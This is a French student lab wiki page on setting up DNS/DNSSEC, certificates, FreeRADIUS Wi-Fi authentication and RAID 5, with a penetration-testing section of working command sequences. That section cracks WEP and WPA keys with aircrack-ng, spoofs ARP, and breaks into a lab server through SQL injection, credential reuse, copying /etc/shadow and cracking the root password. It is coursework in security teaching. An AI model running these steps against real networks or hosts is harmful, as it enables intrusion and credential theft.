On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
